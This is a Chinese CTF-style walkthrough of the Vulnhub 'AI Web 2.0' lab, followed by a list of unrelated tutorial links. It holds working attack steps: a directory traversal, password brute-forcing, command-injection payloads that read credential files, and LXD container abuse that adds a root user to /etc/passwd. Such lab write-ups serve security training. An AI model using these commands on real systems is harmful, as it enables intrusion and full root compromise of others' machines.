【Vulnhub】AI Web 2.0
nmap -A -p- 192.168.149.178
访问页面啥也没有
发现有一个上传的地方被注释掉了,抓包的时候改掉它,得到一个上传点,但是不知道路径
扫目录,扫出来一个 download.php,然后去试了试上面导航栏的名字,viewing.php 也可以访问,deleting.php 会跳转回来(可能是删完了跳回来了?)
https://www.exploit-db.com/exploits/40009
这里有个目录遍历,使用 file_name 参数,看一下 apache 的认证文件
靶机介绍说用这个字典来爆破密码
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
瞬间出结果 aiweb2admin:c.ronaldo
然后用 dirsearch 扫出来 webadmin(嗯,我以后还是直接用 dirsearch 把)
访问 http://192.168.149.178/webadmin/ 用刚刚爆破出来的密码登录进去
又提示了 robots,去访问一下
Disallow: /H05Tpin9555/
Disallow: /S0mextras/
挨个访问,第一个有一个命令执行,用 | 可以绕过
使用
127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
看一下有没有什么隐藏的文件
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
拿到 ssh 账号密码
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
ssh 连上看看
用一下 LinEnum 试试,一直看一些 wp 用还没用过
git clone https://github.com/rebootuser/LinEnum
然后进去给 LinEnum.sh 权限,运行就可以
当前用户 n0nr00tuser 是属于 lxd 的用户组成员
LXD和LXC Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源 Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度 https://www.freebuf.com/articles/system/216803.html
依次执行这些语句
lxc start UbuntuMini
lxc config set UbuntuMini security.privileged true
lxc config set UbuntuMini security.nesting true
lxc config device add UbuntuMini sharetesting disk source=/etc path=/sharingiscaring
然后,复制 /etc/passwd 到当前目录 passwd,然后把这一句加进去
echo 'hack:$1$hack$gP1TCDm4c1ABbBzR6fMid1:0:0::/root:/bin/bash' >> passwd
这里添加了一个有 root 权限的用户:hack,密码是:yichen
可以用这条命令生成 hash
openssl passwd -1 -salt hack yichen
然后把 passwd 传到容器里面
lxc file push passwd UbuntuMini/sharingiscaring/passwd
如果显示没有权限可以用
python -c "import pty;pty.spawn('/bin/bash')"
开一个 bash 的 shell
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- LeetCode题目26:删除排序数组中的重复项
- PCA算法原理及实现
- LeetCode题目27:移出元素
- LeetCode题目28:实现strStr()
- LeetCode题目29:两数相除
- LeetCode题目30:串联所有单词的子串
- LeetCode题目31:下一个排列
- LeetCode题目33:搜索旋转排序数组
- LeetCode题目34:在排序数组中查找元素的第一个和最后一个位置
- LeetCode题目35:搜索插入位置
- LeetCode题目36:有效的数独
- 你必须掌握动态规划——LeetCode题目5:最长回文子串
- 有意思的难题——LeetCode题目37:解数独
- 源码分析-分布式链路追踪:Skywalking存储插件能力-elasticsearch
- mongodb 4.0副本集搭建